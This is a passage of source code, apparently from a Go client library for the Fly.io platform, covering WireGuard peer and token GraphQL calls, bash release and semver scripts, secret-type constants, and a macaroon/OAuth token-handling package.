organization(slug: $slug) { 13 | wireGuardPeer(name: $name) { 14 | id 15 | name 16 | pubkey 17 | region 18 | peerip 19 | } 20 | } 21 | } 22 | `) 23 | req.Var("slug", slug) 24 | req.Var("name", name) 25 | ctx = ctxWithAction(ctx, "get_wg_peer") 26 | 27 | data, err := c.RunWithContext(ctx, req) 28 | if err != nil { 29 | return nil, err 30 | } 31 | 32 | // this graphql code is satanic 33 | return data.Organization.WireGuardPeer, nil 34 | } 35 | 36 | func (c *Client) GetWireGuardPeers(ctx context.Context, slug string) ([]*WireGuardPeer, error) { 37 | req := c.NewRequest(` 38 | query($slug: String!) { 39 | organization(slug: $slug) { 40 | wireGuardPeers { 41 | nodes { 42 | id 43 | name 44 | pubkey 45 | region 46 | peerip 47 | } 48 | } 49 | } 50 | } 51 | `) 52 | req.Var("slug", slug) 53 | ctx = ctxWithAction(ctx, "get_wg_peers") 54 | 55 | data, err := c.RunWithContext(ctx, req) 56 | if err != nil { 57 | return nil, err 58 | } 59 | 60 | return *data.Organization.WireGuardPeers.Nodes, nil 61 | } 62 | 63 | func (c *Client) CreateWireGuardPeer(ctx context.Context, org *Organization, region, name, pubkey, network string) (*CreatedWireGuardPeer, error) { 64 | req := c.NewRequest(` 65 | mutation($input: AddWireGuardPeerInput!) { 66 | addWireGuardPeer(input: $input) { 67 | peerip 68 | endpointip 69 | pubkey 70 | } 71 | } 72 | `) 73 | 74 | var nats bool 75 | 76 | if os.Getenv("WG_NATS") != "" { 77 | nats = true 78 | fmt.Printf("Creating wiregard peer via NATS") 79 | } 80 | 81 | inputs := map[string]interface{}{ 82 | "organizationId": org.ID, 83 | "name": name, 84 | "pubkey": pubkey, 85 | "nats": nats, 86 | } 87 | 88 | if network != "" { 89 | inputs["network"] = network 90 | } 91 | 92 | if region != "" { 93 | inputs["region"] = region 94 | } 95 | 96 | req.Var("input", inputs) 97 | ctx = ctxWithAction(ctx, "create_wg_peers") 98 | 99 | data, err := c.RunWithContext(ctx, req) 100 | if err != nil { 101 | return nil, err 102 | } 103 | 104 | return &data.AddWireGuardPeer, nil 105 | } 106 | 107 | func (c *Client) RemoveWireGuardPeer(ctx context.Context, org *Organization, name string) error { 108 | req := c.NewRequest(` 109 | mutation($input: RemoveWireGuardPeerInput!) { 110 | removeWireGuardPeer(input: $input) { 111 | organization { 112 | id 113 | } 114 | } 115 | } 116 | `) 117 | req.Var("input", map[string]interface{}{ 118 | "organizationId": org.ID, 119 | "name": name, 120 | }) 121 | ctx = ctxWithAction(ctx, "remove_wg_peer") 122 | 123 | _, err := c.RunWithContext(ctx, req) 124 | 125 | return err 126 | } 127 | 128 | func (c *Client) CreateDelegatedWireGuardToken(ctx context.Context, org *Organization, name string) (*DelegatedWireGuardToken, error) { 129 | req := c.NewRequest(` 130 | mutation($input: CreateDelegatedWireGuardTokenInput!) { 131 | createDelegatedWireGuardToken(input: $input) { 132 | token 133 | } 134 | } 135 | `) 136 | req.Var("input", map[string]interface{}{ 137 | "organizationId": org.ID, 138 | "name": name, 139 | }) 140 | ctx = ctxWithAction(ctx, "create_deletegated_wg_token") 141 | 142 | data, err := c.RunWithContext(ctx, req) 143 | if err != nil { 144 | return nil, err 145 | } 146 | 147 | return &data.CreateDelegatedWireGuardToken, nil 148 | } 149 | 150 | func (c *Client) DeleteDelegatedWireGuardToken(ctx context.Context, org *Organization, name, token *string) error { 151 | query := ` 152 | mutation($input: DeleteDelegatedWireGuardTokenInput!) { 153 | deleteDelegatedWireGuardToken(input: $input) { 154 | token 155 | } 156 | } 157 | ` 158 | 159 | input := map[string]interface{}{ 160 | "organizationId": org.ID, 161 | } 162 | 163 | if name != nil { 164 | input["name"] = *name 165 | } else { 166 | input["token"] = *token 167 | } 168 | 169 | fmt.Printf("%+v\n", input) 170 | 171 | req := c.NewRequest(query) 172 | req.Var("input", input) 173 | ctx = ctxWithAction(ctx, "delete_deletegated_wg_token") 174 | 175 | _, err := c.RunWithContext(ctx, req) 176 | 177 | return err 178 | } 179 | 180 | func (c *Client) GetDelegatedWireGuardTokens(ctx context.Context, slug string) ([]*DelegatedWireGuardTokenHandle, error) { 181 | req := c.NewRequest(` 182 | query($slug: String!) { 183 | organization(slug: $slug) { 184 | delegatedWireGuardTokens { 185 | nodes { 186 | name 187 | } 188 | } 189 | } 190 | } 191 | `) 192 | req.Var("slug", slug) 193 | ctx = ctxWithAction(ctx, "get_deletegated_wg_tokens") 194 | 195 | data, err := c.RunWithContext(ctx, req) 196 | if err != nil { 197 | return nil, err 198 | } 199 | 200 | return *data.Organization.DelegatedWireGuardTokens.Nodes, nil 201 | } 202 | 203 | func (c *Client) ClosestWireguardGatewayRegion(ctx context.Context) (*Region, error) { 204 | req := c.NewRequest(` 205 | query { 206 | nearestRegion(wireguardGateway: true) { 207 | code 208 | name 209 | gatewayAvailable 210 | } 211 | } 212 | `) 213 | ctx = ctxWithAction(ctx, "closest_wg_gateway_region") 214 | 215 | data, err := c.RunWithContext(ctx, req) 216 | if err != nil { 217 | return nil, err 218 | } 219 | 220 | return data.NearestRegion, nil 221 | } 222 | 223 | func (c *Client) ValidateWireGuardPeers(ctx context.Context, peerIPs []string) (invalid []string, err error) { 224 | req := c.NewRequest(` 225 | mutation($input: ValidateWireGuardPeersInput!) { 226 | validateWireGuardPeers(input: $input) { 227 | invalidPeerIps 228 | } 229 | } 230 | `) 231 | 232 | req.Var("input", map[string]interface{}{ 233 | "peerIps": peerIPs, 234 | }) 235 | ctx = ctxWithAction(ctx, "validate_wg_peers") 236 | 237 | data, err := c.RunWithContext(ctx, req) 238 | if err != nil { 239 | return nil, err 240 | } 241 | 242 | return data.ValidateWireGuardPeers.InvalidPeerIPs, nil 243 | } 244 | -------------------------------------------------------------------------------- /scripts/bump_version.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | ORIGIN=${ORIGIN:-origin} 6 | 7 | bump=${1:-patch} 8 | 9 | prerel=${2:-none} 10 | 11 | if [[ $bump == "prerel" ]]; then 12 | bump="patch" 13 | prerel="prerel" 14 | fi 15 | 16 | if [[ $(git status --porcelain) != "" ]]; then 17 | echo "Error: repo is dirty. Run git status, clean repo and try again." 18 | exit 1 19 | elif [[ $(git status --porcelain -b | grep -e "ahead" -e "behind") != "" ]]; then 20 | echo "Error: repo has unpushed commits. Push commits to remote and try again." 21 | exit 1 22 | fi 23 | 24 | BRANCH="$(git rev-parse --abbrev-ref HEAD)" 25 | if [[ "$prerel" == "prerel" && "$BRANCH" != "prerelease" ]]; then 26 | # echo "❌ Sorry, you can only cut a pre-release from the 'prelease' branch" 27 | # echo "Run 'git checkout prerelease && git pull origin prerelease' and try again." 28 | # exit 1 29 | echo "⚠️ Pre-releases should be cut from the 'prerelease' branch" 30 | echo "Please make sure you're not overwriting someone else's prerelease!" 31 | echo 32 | read -p "Release anyway? " -n 1 -r 33 | echo 34 | if [[ $REPLY =~ ^[^Yy]$ ]]; then 35 | echo Aborting. 36 | exit 1 37 | fi 38 | fi 39 | 40 | if [[ "$prerel" != "prerel" && "$BRANCH" != "main" ]]; then 41 | echo "❌ Sorry, you can only cut a release from the 'main' branch" 42 | echo "Run 'git checkout main && git pull origin main' and try again." 43 | exit 1 44 | fi 45 | 46 | git fetch 47 | if [[ "$(git rev-parse HEAD 2>&1)" != "$(git rev-parse '@{u}' 2>&1)" ]]; then 48 | echo "There are upstream commits that won't be included in this release." 49 | echo "You probably want to exit, run 'git pull', then release." 50 | echo 51 | read -p "Release anyway? " -n 1 -r 52 | echo 53 | if [[ $REPLY =~ ^[^Yy]$ ]]; then 54 | echo Aborting. 55 | exit 1 56 | fi 57 | fi 58 | 59 | dir="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 60 | 61 | previous_version="$("$dir"/../scripts/version.sh -s)" 62 | 63 | if [[ $prerel == "prerel" ]]; then 64 | prerelversion=$("$dir"/../scripts/semver get prerel "$previous_version") 65 | if [[ $prerelversion == "" ]]; then 66 | new_version=$("$dir"/../scripts/semver bump "$bump" "$previous_version") 67 | new_version=$("$dir"/../scripts/semver bump prerel pre-1 "$new_version") 68 | else 69 | prerel=pre-$((${prerelversion#pre-} + 1)) 70 | new_version=$("$dir"/../scripts/semver bump prerel "$prerel" "$previous_version") 71 | fi 72 | else 73 | prerelversion=$("$dir"/../scripts/semver get prerel "$previous_version") 74 | if [[ $prerelversion == "" ]]; then 75 | new_version=$("$dir"/../scripts/semver bump "$bump" "$previous_version") 76 | else 77 | new_version=${previous_version//-$prerelversion/} 78 | fi 79 | fi 80 | 81 | new_version="v$new_version" 82 | 83 | echo "Bumping version from v${previous_version} to ${new_version}" 84 | 85 | read -p "Are you sure? " -n 1 -r 86 | echo 87 | if [[ $REPLY =~ ^[Yy]$ ]] 88 | then 89 | git tag -m "release ${new_version}" -a "$new_version" && git push "${ORIGIN}" tag "$new_version" 90 | echo "done" 91 | fi 92 | -------------------------------------------------------------------------------- /scripts/changelog.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | current_tag=$(git -c "versionsort.prereleasesuffix=-pre" tag --points-at HEAD --sort -v:refname | head -n1) 4 | if [ -z "$current_tag" ]; then 5 | current_tag=$(git describe --tags --abbrev=0) 6 | fi 7 | 8 | >&2 echo "current tag: $current_tag" 9 | 10 | # if the current tag is a prerelease, get the previous tag, otherwise get the previous non-prerelease tag 11 | if [[ $current_tag =~ pre ]]; then 12 | previous_tag=$(git describe --match "v[0-9]*" --abbrev=0 HEAD^) 13 | else 14 | previous_tag=$(git describe --match "v[0-9]*" --exclude "*-pre-*" --abbrev=0 HEAD^) 15 | fi 16 | 17 | >&2 echo "previous tag: $previous_tag" 18 | 19 | # only include go files in the changelog 20 | git log --oneline --no-merges --no-decorate $previous_tag..HEAD -- '*.go' '**/*.go' 21 | -------------------------------------------------------------------------------- /scripts/gh_release.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -eo pipefail 3 | if [[ "$tag" == *"-pre-"* ]] 4 | then 5 | prerelease="--prerelease" 6 | else 7 | prerelease="" 8 | fi 9 | gh release create "$tag" \ 10 | $prerelease \ 11 | --repo="$GITHUB_REPOSITORY" \ 12 | --title="${tag}" \ 13 | --generate-notes 14 | -------------------------------------------------------------------------------- /scripts/semver: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -o errexit -o nounset -o pipefail 4 | 5 | SEMVER_REGEX="^[vV]?(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)(\\-[0-9A-Za-z-]+(\\.[0-9A-Za-z-]+)*)?(\\+[0-9A-Za-z-]+(\\.[0-9A-Za-z-]+)*)?$" 6 | 7 | PROG=semver 8 | PROG_VERSION=2.1.0 9 | 10 | USAGE="\ 11 | Usage: 12 | $PROG bump (major|minor|patch|release|prerel |build ) 13 | $PROG compare 14 | $PROG get (major|minor|patch|release|prerel|build) 15 | $PROG --help 16 | $PROG --version 17 | 18 | Arguments: 19 | A version must match the following regex pattern: 20 | \"${SEMVER_REGEX}\". 21 | In english, the version must match X.Y.Z(-PRERELEASE)(+BUILD) 22 | where X, Y and Z are positive integers, PRERELEASE is an optional 23 | string composed of alphanumeric characters and hyphens and 24 | BUILD is also an optional string composed of alphanumeric 25 | characters and hyphens. 26 | 27 | See definition. 28 | 29 | String that must be composed of alphanumeric characters and hyphens. 30 | 31 | String that must be composed of alphanumeric characters and hyphens. 32 | 33 | Options: 34 | -v, --version Print the version of this tool. 35 | -h, --help Print this help message. 36 | 37 | Commands: 38 | bump Bump by one of major, minor, patch, prerel, build 39 | or a forced potentially conflicting version. The bumped version is 40 | shown to stdout. 41 | 42 | compare Compare with , output to stdout the 43 | following values: -1 if is newer, 0 if equal, 1 if 44 | older. 45 | 46 | get Extract given part of , where part is one of major, minor, 47 | patch, prerel, build." 48 | 49 | function error { 50 | echo -e "$1" >&2 51 | exit 1 52 | } 53 | 54 | function usage-help { 55 | error "$USAGE" 56 | } 57 | 58 | function usage-version { 59 | echo -e "${PROG}: $PROG_VERSION" 60 | exit 0 61 | } 62 | 63 | function validate-version { 64 | local version=$1 65 | if [[ "$version" =~ $SEMVER_REGEX ]]; then 66 | # if a second argument is passed, store the result in var named by $2 67 | if [ "$#" -eq "2" ]; then 68 | local major=${BASH_REMATCH[1]} 69 | local minor=${BASH_REMATCH[2]} 70 | local patch=${BASH_REMATCH[3]} 71 | local prere=${BASH_REMATCH[4]} 72 | local build=${BASH_REMATCH[6]} 73 | eval "$2=(\"$major\" \"$minor\" \"$patch\" \"$prere\" \"$build\")" 74 | else 75 | echo "$version" 76 | fi 77 | else 78 | error "version $version does not match the semver scheme 'X.Y.Z(-PRERELEASE)(+BUILD)'. See help for more information." 79 | fi 80 | } 81 | 82 | function compare-version { 83 | validate-version "$1" V 84 | validate-version "$2" V_ 85 | 86 | # MAJOR, MINOR and PATCH should compare numerically 87 | for i in 0 1 2; do 88 | local diff=$((${V[$i]} - ${V_[$i]})) 89 | if [[ $diff -lt 0 ]]; then 90 | echo -1; return 0 91 | elif [[ $diff -gt 0 ]]; then 92 | echo 1; return 0 93 | fi 94 | done 95 | 96 | # PREREL should compare with the ASCII order. 97 | if [[ -z "${V[3]}" ]] && [[ -n "${V_[3]}" ]]; then 98 | echo 1; return 0; 99 | elif [[ -n "${V[3]}" ]] && [[ -z "${V_[3]}" ]]; then 100 | echo -1; return 0; 101 | elif [[ -n "${V[3]}" ]] && [[ -n "${V_[3]}" ]]; then 102 | if [[ "${V[3]}" > "${V_[3]}" ]]; then 103 | echo 1; return 0; 104 | elif [[ "${V[3]}" < "${V_[3]}" ]]; then 105 | echo -1; return 0; 106 | fi 107 | fi 108 | 109 | echo 0 110 | } 111 | 112 | function command-bump { 113 | local new; local version; local sub_version; local command; 114 | 115 | case $# in 116 | 2) case $1 in 117 | major|minor|patch|release) command=$1; version=$2;; 118 | *) usage-help;; 119 | esac ;; 120 | 3) case $1 in 121 | prerel|build) command=$1; sub_version=$2 version=$3 ;; 122 | *) usage-help;; 123 | esac ;; 124 | *) usage-help;; 125 | esac 126 | 127 | validate-version "$version" parts 128 | # shellcheck disable=SC2154 129 | local major="${parts[0]}" 130 | local minor="${parts[1]}" 131 | local patch="${parts[2]}" 132 | local prere="${parts[3]}" 133 | local build="${parts[4]}" 134 | 135 | case "$command" in 136 | major) new="$((major + 1)).0.0";; 137 | minor) new="${major}.$((minor + 1)).0";; 138 | patch) new="${major}.${minor}.$((patch + 1))";; 139 | release) new="${major}.${minor}.${patch}";; 140 | prerel) new=$(validate-version "${major}.${minor}.${patch}-${sub_version}");; 141 | build) new=$(validate-version "${major}.${minor}.${patch}${prere}+${sub_version}");; 142 | *) usage-help ;; 143 | esac 144 | 145 | echo "$new" 146 | exit 0 147 | } 148 | 149 | function command-compare { 150 | local v; local v_; 151 | 152 | case $# in 153 | 2) v=$(validate-version "$1"); v_=$(validate-version "$2") ;; 154 | *) usage-help ;; 155 | esac 156 | 157 | compare-version "$v" "$v_" 158 | exit 0 159 | } 160 | 161 | 162 | # shellcheck disable=SC2034 163 | function command-get { 164 | local part version 165 | 166 | if [[ "$#" -ne "2" ]] || [[ -z "$1" ]] || [[ -z "$2" ]]; then 167 | usage-help 168 | exit 0 169 | fi 170 | 171 | part="$1" 172 | version="$2" 173 | 174 | validate-version "$version" parts 175 | local major="${parts[0]}" 176 | local minor="${parts[1]}" 177 | local patch="${parts[2]}" 178 | local prerel="${parts[3]:1}" 179 | local build="${parts[4]:1}" 180 | 181 | case "$part" in 182 | major|minor|patch|release|prerel|build) echo "${!part}" ;; 183 | *) usage-help ;; 184 | esac 185 | 186 | exit 0 187 | } 188 | 189 | case $# in 190 | 0) echo "Unknown command: $*"; usage-help;; 191 | esac 192 | 193 | case $1 in 194 | --help|-h) echo -e "$USAGE"; exit 0;; 195 | --version|-v) usage-version ;; 196 | bump) shift; command-bump "$@";; 197 | get) shift; command-get "$@";; 198 | compare) shift; command-compare "$@";; 199 | *) echo "Unknown arguments: $*"; usage-help;; 200 | esac 201 | -------------------------------------------------------------------------------- /scripts/version.sh: -------------------------------------------------------------------------------- 1 | ORIGIN=${ORIGIN:-origin} 2 | 3 | version=$(git fetch --tags "${ORIGIN}" &>/dev/null | git -c "versionsort.prereleasesuffix=-pre" tag -l --sort=version:refname | grep -e ^v0 |grep -v dev | tail -n1 | cut -c 2-) 4 | 5 | echo "$version" 6 | -------------------------------------------------------------------------------- /secrets_types.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | const ( 4 | // Secret types 5 | AppSecret = "AppSecret" 6 | VolumeEncryptionKey = "VolumeEncryptionKey" 7 | SECRET_TYPE_KMS_HS256 = "SECRET_TYPE_KMS_HS256" 8 | SECRET_TYPE_KMS_HS384 = "SECRET_TYPE_KMS_HS384" 9 | SECRET_TYPE_KMS_HS512 = "SECRET_TYPE_KMS_HS512" 10 | SECRET_TYPE_KMS_XAES256GCM = "SECRET_TYPE_KMS_XAES256GCM" 11 | SECRET_TYPE_KMS_NACL_AUTH = "SECRET_TYPE_KMS_NACL_AUTH" 12 | SECRET_TYPE_KMS_NACL_BOX = "SECRET_TYPE_KMS_NACL_BOX" 13 | SECRET_TYPE_KMS_NACL_SECRETBOX = "SECRET_TYPE_KMS_NACL_SECRETBOX" 14 | SECRET_TYPE_KMS_NACL_SIGN = "SECRET_TYPE_KMS_NACL_SIGN" 15 | ) 16 | 17 | type ListSecret struct { 18 | Label string `json:"label"` 19 | Type string `json:"type"` 20 | } 21 | 22 | type CreateSecretRequest struct { 23 | Value []byte `json:"value,omitempty"` 24 | } 25 | -------------------------------------------------------------------------------- /tokens/tokens.go: -------------------------------------------------------------------------------- 1 | package tokens 2 | 3 | import ( 4 | "context" 5 | "net/http" 6 | "net/http/cookiejar" 7 | "strings" 8 | "sync" 9 | "time" 10 | 11 | "github.com/superfly/macaroon" 12 | "github.com/superfly/macaroon/flyio" 13 | "github.com/superfly/macaroon/tp" 14 | "golang.org/x/exp/slices" 15 | ) 16 | 17 | // Tokens is a collection of tokens belonging to the user. This includes 18 | // macaroon tokens (per-org) and OAuth tokens (per-user). 19 | // 20 | // It is normal for this to include just macaroons, just oauth tokens, or a 21 | // combination of the two. The GraphQL API is the only service that accepts 22 | // macaroons and OAuth tokens in the same request. For other service, macaroons 23 | // are preferred. 24 | type Tokens struct { 25 | macaroons []string 26 | oauths []string 27 | fromFile string 28 | m sync.RWMutex 29 | } 30 | 31 | // Parse extracts individual tokens from a token string. The input token may 32 | // include an authorization scheme (`Bearer` or `FlyV1`) and/or a set of 33 | // comma-separated macaroon and user tokens. 34 | func Parse(token string) *Tokens { 35 | token = StripAuthorizationScheme(token) 36 | ret := &Tokens{} 37 | 38 | for _, tok := range strings.Split(token, ",") { 39 | tok = strings.TrimSpace(tok) 40 | switch pfx, _, _ := strings.Cut(tok, "_"); pfx { 41 | case "fm1r", "fm1a", "fm2": 42 | ret.macaroons = append(ret.macaroons, tok) 43 | default: 44 | ret.oauths = append(ret.oauths, tok) 45 | } 46 | } 47 | 48 | return ret 49 | } 50 | 51 | // ParseFromFile is like Parse but also records the file path that the tokens 52 | // came from. 53 | func ParseFromFile(token, fromFile string) *Tokens { 54 | ret := Parse(token) 55 | ret.fromFile = fromFile 56 | return ret 57 | 58 | } 59 | 60 | // FromFile returns the file path that was provided to ParseFromFile(). 61 | func (t *Tokens) FromFile() string { 62 | t.m.RLock() 63 | defer t.m.RUnlock() 64 | 65 | return t.fromFile 66 | } 67 | 68 | // Copy returns a deep copy of t. 69 | func (t *Tokens) Copy() *Tokens { 70 | t.m.RLock() 71 | defer t.m.RUnlock() 72 | 73 | return &Tokens{ 74 | macaroons: append([]string(nil), t.macaroons...), 75 | oauths: append([]string(nil), t.oauths...), 76 | fromFile: t.fromFile, 77 | } 78 | } 79 | 80 | // MacaroonsOnly returns a copy of t with only macaroon tokens. 81 | func (t *Tokens) MacaroonsOnly() *Tokens { 82 | t.m.RLock() 83 | defer t.m.RUnlock() 84 | 85 | return &Tokens{ 86 | macaroons: append([]string(nil), t.macaroons...), 87 | fromFile: t.fromFile, 88 | } 89 | } 90 | 91 | // UserTokenOnly returns a copy of t with only user tokens. 92 | func (t *Tokens) UserTokenOnly() *Tokens { 93 | t.m.RLock() 94 | defer t.m.RUnlock() 95 | 96 | return &Tokens{ 97 | oauths: append([]string(nil), t.oauths...), 98 | fromFile: t.fromFile, 99 | } 100 | } 101 | 102 | // GetMacaroonTokens returns the macaroon tokens. 103 | func (t *Tokens) GetMacaroonTokens() []string { 104 | t.m.RLock() 105 | defer t.m.RUnlock() 106 | 107 | return append([]string(nil), t.macaroons...) 108 | } 109 | 110 | // GetUserTokens returns the user tokens. 111 | func (t *Tokens) GetUserTokens() []string { 112 | t.m.RLock() 113 | defer t.m.RUnlock() 114 | 115 | return append([]string(nil), t.oauths...) 116 | } 117 | 118 | // AddTokens adds one or more tokens to t. 119 | func (t *Tokens) AddTokens(toks ...string) *Tokens { 120 | t.m.Lock() 121 | defer t.m.Unlock() 122 | 123 | for _, tok := range toks { 124 | tok = strings.TrimSpace(tok) 125 | switch pfx, _, _ := strings.Cut(tok, "_"); pfx { 126 | case "fm1r", "fm1a", "fm2": 127 | t.macaroons = append(t.macaroons, tok) 128 | default: 129 | t.oauths = append(t.oauths, tok) 130 | } 131 | } 132 | 133 | return t 134 | } 135 | 136 | // Replace replaces t with other. 137 | func (t *Tokens) Replace(other *Tokens) { 138 | t.m.Lock() 139 | defer t.m.Unlock() 140 | 141 | other.m.Lock() 142 | defer other.m.Unlock() 143 | 144 | if t.equalUnlocked(other) { 145 | return 146 | } 147 | 148 | t.macaroons = append([]string(nil), other.macaroons...) 149 | t.oauths = append([]string(nil), other.oauths...) 150 | t.fromFile = other.fromFile 151 | } 152 | 153 | // ReplaceMacaroonTokens replaces the macaroon tokens with macs. 154 | func (t *Tokens) ReplaceMacaroonTokens(macs []string) { 155 | t.m.Lock() 156 | defer t.m.Unlock() 157 | 158 | t.macaroons = append([]string(nil), macs...) 159 | } 160 | 161 | // Equal returns true if t and other are equal. 162 | func (t *Tokens) Equal(other *Tokens) bool { 163 | t.m.RLock() 164 | defer t.m.RUnlock() 165 | 166 | other.m.RLock() 167 | defer other.m.RUnlock() 168 | 169 | return t.equalUnlocked(other) 170 | } 171 | 172 | func (t *Tokens) equalUnlocked(other *Tokens) bool { 173 | 174 | return slices.Equal(t.macaroons, other.macaroons) && slices.Equal(t.oauths, other.oauths) && t.fromFile == other.fromFile 175 | } 176 | 177 | // Empty returns true if t has no tokens. 178 | func (t *Tokens) Empty() bool { 179 | return len(t.macaroons)+len(t.oauths) == 0 180 | } 181 | 182 | // Update prunes any invalid/expired macaroons and fetches needed third party 183 | // discharges 184 | func (t *Tokens) Update(ctx context.Context, opts ...UpdateOption) (bool, error) { 185 | options := &updateOptions{debugger: noopDebugger{}, advancePrune: 1 * time.Minute} 186 | for _, o := range opts { 187 | o(options) 188 | } 189 | 190 | pruned := t.pruneBadMacaroons(options) 191 | discharged, err := t.dischargeThirdPartyCaveats(ctx, options) 192 | 193 | return pruned || discharged, err 194 | } 195 | 196 | func (t *Tokens) Flaps() string { 197 | return t.normalized(false, false) 198 | } 199 | 200 | func (t *Tokens) FlapsHeader() string { 201 | return t.normalized(false, true) 202 | } 203 | 204 | func (t *Tokens) Docker() string { 205 | return t.normalized(false, false) 206 | } 207 | 208 | func (t *Tokens) NATS() string { 209 | return t.normalized(false, false) 210 | } 211 | 212 | func (t *Tokens) Bubblegum() string { 213 | return t.normalized(false, false) 214 | } 215 | 216 | func (t *Tokens) BubblegumHeader() string { 217 | return t.normalized(false, true) 218 | } 219 | 220 | func (t *Tokens) GraphQL() string { 221 | return t.normalized(true, false) 222 | } 223 | 224 | func (t *Tokens) GraphQLHeader() string { 225 | return t.normalized(true, true) 226 | } 227 | 228 | func (t *Tokens) All() string { 229 | return t.normalized(true, false) 230 | } 231 | 232 | func (t *Tokens) normalized(macaroonsAndUserTokens, includeScheme bool) string { 233 | t.m.RLock() 234 | defer t.m.RUnlock() 235 | 236 | scheme := "" 237 | if includeScheme { 238 | scheme = "Bearer " 239 | if len(t.macaroons) > 0 { 240 | scheme = "FlyV1 " 241 | } 242 | } 243 | 244 | if macaroonsAndUserTokens { 245 | return scheme + strings.Join(append(t.macaroons, t.oauths...), ",") 246 | } 247 | if len(t.macaroons) == 0 { 248 | return scheme + strings.Join(t.oauths, ",") 249 | } 250 | return scheme + strings.Join(t.macaroons, ",") 251 | } 252 | 253 | // pruneBadMacaroons removes expired and invalid macaroon tokens as well as 254 | // discharge tokens that are no longer needed. 255 | func (t *Tokens) pruneBadMacaroons(options *updateOptions) bool { 256 | t.m.Lock() 257 | defer t.m.Unlock() 258 | 259 | var ( 260 | updated bool 261 | tpTickets = make(map[string]bool) 262 | parsed = make(map[string]*macaroon.Macaroon) 263 | ) 264 | 265 | for _, tok := range t.macaroons { 266 | raws, err := macaroon.Parse(tok) 267 | if err != nil { 268 | continue 269 | } 270 | 271 | m, err := macaroon.Decode(raws[0]) 272 | if err != nil { 273 | continue 274 | } 275 | 276 | if time.Now().After(m.Expiration()) { 277 | continue 278 | } 279 | 280 | parsed[tok] = m 281 | 282 | if m.Location != flyio.LocationPermission { 283 | continue 284 | } 285 | 286 | for _, tp := range macaroon.GetCaveats[*macaroon.Caveat3P](&m.UnsafeCaveats) { 287 | tpTickets[string(tp.Ticket)] = true 288 | } 289 | } 290 | 291 | t.macaroons = slices.DeleteFunc(t.macaroons, func(tok string) bool { 292 | m, ok := parsed[tok] 293 | if !ok { 294 | updated = true 295 | return true 296 | } 297 | 298 | if m.Location == flyio.LocationPermission { 299 | return false 300 | } 301 | 302 | if !tpTickets[string(m.Nonce.KID)] { 303 | updated = true 304 | return true 305 | } 306 | 307 | // preemptively prune auth tokens according to the advancePrune option. 308 | // The hope is that we can replace discharge tokens *before* they expire 309 | // so requests don't fail. 310 | // 311 | // TODO: this is hacky 312 | if (m.Location == flyio.LocationAuthentication || m.Location == flyio.LocationNewAuthentication) && 313 | time.Now().Add(options.advancePrune).After(m.Expiration()) { 314 | updated = true 315 | return true 316 | } 317 | 318 | return false 319 | }) 320 | 321 | return updated 322 | } 323 | 324 | // dischargeThirdPartyCaveats attempts to fetch any necessary discharge tokens 325 | // for 3rd party caveats found within macaroon tokens. 326 | // 327 | // See https://github.com/superfly/macaroon/blob/main/tp/README.md 328 | func (t *Tokens) dischargeThirdPartyCaveats(ctx context.Context, options *updateOptions) (bool, error) { 329 | t.m.RLock() 330 | macaroons := strings.Join(t.macaroons, ",") 331 | oauths := strings.Join(t.oauths, ",") 332 | t.m.RUnlock() 333 | 334 | if macaroons == "" { 335 | return false, nil 336 | } 337 | 338 | jar, err := cookiejar.New(nil) 339 | if err != nil { 340 | return false, err 341 | } 342 | 343 | h := &http.Client{ 344 | Jar: jar, 345 | Transport: debugTransport{ 346 | d: options.debugger, 347 | t: http.DefaultTransport, 348 | }, 349 | } 350 | 351 | copts := options.clientOptions 352 | copts = append(copts, tp.WithHTTP(h)) 353 | if oauths != "" { 354 | copts = append(copts, 355 | tp.WithBearerAuthentication("auth.fly.io", oauths), 356 | tp.WithBearerAuthentication(flyio.LocationAuthentication, oauths), 357 | ) 358 | } 359 | c := flyio.DischargeClient(copts...) 360 | 361 | switch needDischarge, err := c.NeedsDischarge(macaroons); { 362 | case err != nil: 363 | return false, err 364 | case !needDischarge: 365 | return false, nil 366 | } 367 | 368 | toCtx, cancel := context.WithTimeout(ctx, 30*time.Second) 369 | defer cancel() 370 | 371 | options.debugger.Debug("Attempting to upgrade authentication token") 372 | withDischarges, err := c.FetchDischargeTokens(toCtx, macaroons) 373 | 374 | // withDischarges will be non-empty in the event of partial success 375 | if withDischarges != "" && withDischarges != macaroons { 376 | t.m.Lock() 377 | defer t.m.Unlock() 378 | 379 | t.macaroons = Parse(withDischarges).macaroons 380 | return true, err 381 | } 382 | 383 | return false, err 384 | } 385 | 386 | type UpdateOption func(*updateOptions) 387 | 388 | type updateOptions struct { 389 | clientOptions []tp.ClientOption 390 | debugger Debugger 391 | advancePrune time.Duration 392 | } 393 | 394 | func WithUserURLCallback(cb func(ctx context.Context, url string) error) UpdateOption { 395 | return func(o *updateOptions) { 396 | o.clientOptions = append(o.clientOptions, tp.WithUserURLCallback(cb)) 397 | } 398 | } 399 | 400 | func WithDebugger(d Debugger) UpdateOption { 401 | return func(o *updateOptions) { 402 | o.debugger = d 403 | } 404 | } 405 | 406 | type Debugger interface { 407 | Debug(...any) 408 | } 409 | 410 | type noopDebugger struct{} 411 | 412 | func (noopDebugger) Debug(...any) {} 413 | 414 | func WithAdvancePrune(advancePrune time.Duration) UpdateOption { 415 | return func(o *updateOptions) { 416 | o.advancePrune = advancePrune 417 | } 418 | } 419 | 420 | type debugTransport struct { 421 | d Debugger 422 | t http.RoundTripper 423 | } 424 | 425 | func (d debugTransport) RoundTrip(req *http.Request) (*http.Response, error) { 426 | d.d.Debug("Request:", req.URL.String()) 427 | return d.t.RoundTrip(req) 428 | } 429 | 430 | // StripAuthorizationScheme strips any FlyV1/Bearer schemes from token. 431 | func StripAuthorizationScheme(token string) string { 432 | token = strings.TrimSpace(token) 433 | 434 | pfx, rest, found := strings.Cut(token, " ") 435 | if !found { 436 | return token 437 | } 438 | 439 | if pfx = strings.TrimSpace(pfx); strings.EqualFold(pfx, "Bearer") || strings.EqualFold(pfx, "FlyV1") { 440 | return StripAuthorizationScheme(rest) 441 | } 442 | 443 | return token 444 | } 445 | -------------------------------------------------------------------------------- /tokens/tokens_test.go: -------------------------------------------------------------------------------- 1 | package tokens 2 | 3 | import ( 4 